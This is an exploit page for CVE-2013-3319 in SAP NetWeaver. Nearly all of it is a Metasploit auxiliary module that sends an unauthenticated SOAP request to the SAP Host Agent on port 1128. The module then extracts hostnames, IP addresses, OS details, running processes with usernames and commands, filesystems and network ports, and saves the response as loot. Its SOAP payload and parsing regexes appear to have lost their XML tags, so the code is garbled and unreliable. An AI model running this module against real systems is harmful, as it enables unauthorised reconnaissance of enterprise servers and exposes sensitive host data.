CVE-2013-3319_SAP_Netweaver_7.03_敏感信息泄漏漏洞

# CVE-2013-3319 SAP Netweaver 7.03 敏感信息泄漏漏洞
==EXP==

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'SAP Host Agent Information Disclosure',
			'Description'  => %q{
				This module attempts to retrieve Computer and OS info from Host Agent
through the SAP HostControl service
				},
			'References'   =>
				[
					# General
					[ 'CVE', '2013-3319'],
					[ 'URL', 'https://service.sap.com/sap/support/notes/1816536' ],
				    [ 'URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
				],
			'Author'       =>
				[
					'Bruno Morisson '
				],
			'License'      => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(1128)
			], self.class)

		register_autofilter_ports([ 1128 ])
		deregister_options('RHOST')
		deregister_options('VHOST')

	end

	def run_host(rhost)

		rport = datastore['RPORT']

		print_status("Connecting to SAP Host Control SOAP Interface on #{rhost}:#{rport}")

		success = false
		fault = false

		data = ''
		data << ''
		data << ''
		data << 'true'
		data << ''
		data << 'providersaposcol'
		data << "\r\n\r\n"

		begin

			res = send_request_raw({
				'uri'      => "/#{datastore['URI']}",
				'method'   => 'POST',
				'data'     => data,
				'headers'  =>
					{
						'Content-Length' => data.length,
						'SOAPAction'	=> '""',
						'Content-Type'  => 'text/xml; charset=UTF-8',
					}
			    }, 15)

        	if res and res.code == 200

				print_good("Got response from server, parsing...")

				env = []
				saptbl =[]
				totalitems=0

				saptbl[0] = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
					'Header'    => "Remote Computer Listing",
					'Prefix'  => "\n",
					'Postfix' => "\n",
					'Indent'    => 1,
					'Columns'   =>
						[
							"Names",
							"Hostnames",
							"IPAddresses"
						])

				saptbl[1] = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
					'Header'    => "Remote OS Listing",
					'Prefix'  => "\n",
					'Postfix' => "\n",
					'Indent'    => 1,
					'Columns'   =>
						[
							"Name",
							"Type",
							"Version",
							"TotalMemSize",
							"Load Avg 1m",
							"Load Avg 5m",
							"Load Avg 15m",
							"CPUs",
							"CPU User",
							"CPU Sys",
							"CPU Idle"
						])

				saptbl[2] = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
					'Header'    => "Remote Process Listing",
					'Prefix'  => "\n",
					'Postfix' => "\n",
					'Indent'    => 1,
					'Columns'   =>
						[	"Name",
						     "PID",
						     "Username",
						     "Priority",
						     "Size",
						     "Pages",
						     "CPU",
						     "CPU Time",
						     "Command"
						])

				saptbl[3] = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
					'Header'    => "Remote Filesystem Listing",
					'Prefix'  => "\n",
					'Postfix' => "\n",
					'Indent'    => 1,
					'Columns'   =>
						[	"Name",
						     "Size",
						     "Available",
						     "Remote"
						])

				saptbl[4] = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
					'Header'    => "Network Port Listing",
					'Prefix'  => "\n",
					'Postfix' => "\n",
					'Indent'    => 1,
					'Columns'   =>
						[	"ID",
						     "PacketsIn",
						     "PacketsOut",
						     "ErrorsIn",
						     "ErrorsOut",
						     "Collisions"
						])

				mxml = REXML::Document.new(res.body)

				itsamcs = mxml.elements.to_a("//mProperties/") # OS info

				itsam = mxml.elements.to_a("//item/mProperties/") # all other info


				itsamcs.each { |name|
					tbl =[]
					body = []
					body = "#{name}"
					env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix)

					if env

						totalitems +=1

						case "#{env}"
							when /ITSAMComputerSystem/

								env.each do |m|
									tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
								end

								saptbl[0] << [ tbl[0], tbl[1], tbl[2]]
								success = true # we have at least one response
						end

					end
				}


				itsam.each { |name|
					tbl =[]
					body = []
					# some items have no , so we put a dummy with nil
					body = "#{name}".gsub(/\/mType><\/item/,"\/mType>(nil)<\/mValue><\/item")
					env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix)

					if env

						totalitems +=1

						env.each do |m|
							tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
						end

						case "#{env}"
							when /ITSAMOperatingSystem/
								saptbl[1] << [ tbl[0], tbl[1], tbl[2], tbl[8], tbl[11],tbl[12],tbl[13],tbl[17],tbl[18]+'%',tbl[19]+'%',tbl[20]+'%']
								success = true # we have at least one response

							when /ITSAMOSProcess/
								saptbl[2] << [ tbl[0], tbl[1], tbl[2], tbl[3], tbl[4],tbl[5],tbl[6]+'%',tbl[7],tbl[8] ]
								success = true # we have at least one response

							when /ITSAMFileSystem/
								saptbl[3] << [ tbl[0], tbl[2], tbl[3], tbl[4] ]
								success = true # we have at least one response

							when /ITSAMNetworkPort/
								saptbl[4] << [ tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5] ]
								success = true # we have at least one response
						end

					end
				}

			elsif res and  res.code == 500
				case res.body
					when /(.*)<\/faultstring>/i
						faultcode = $1.strip
						fault = true
				end
			end

		rescue ::Rex::ConnectionError
			print_error("Unable to connect to #{rhost}:#{rport}")
			return
		end

		if success
			print_good("#{totalitems} items listed")

			saptbl.each do |t|
				print(t.to_s)
			end

			p = store_loot(
				"sap.getcomputersystem",
				"text/xml",
				rhost,
				res.body,
				"sap_getcomputersystem.xml",
				"SAP GetComputerSystem XML"
			)
			print_status("Response stored in: #{p}")

			return
		elsif fault
			print_error("#{rhost}:#{rport} - Error code: #{faultcode}")
			return
		else
			print_error("#{rhost}:#{rport} - Failed to parse list")
			return
		end
		return
	end
end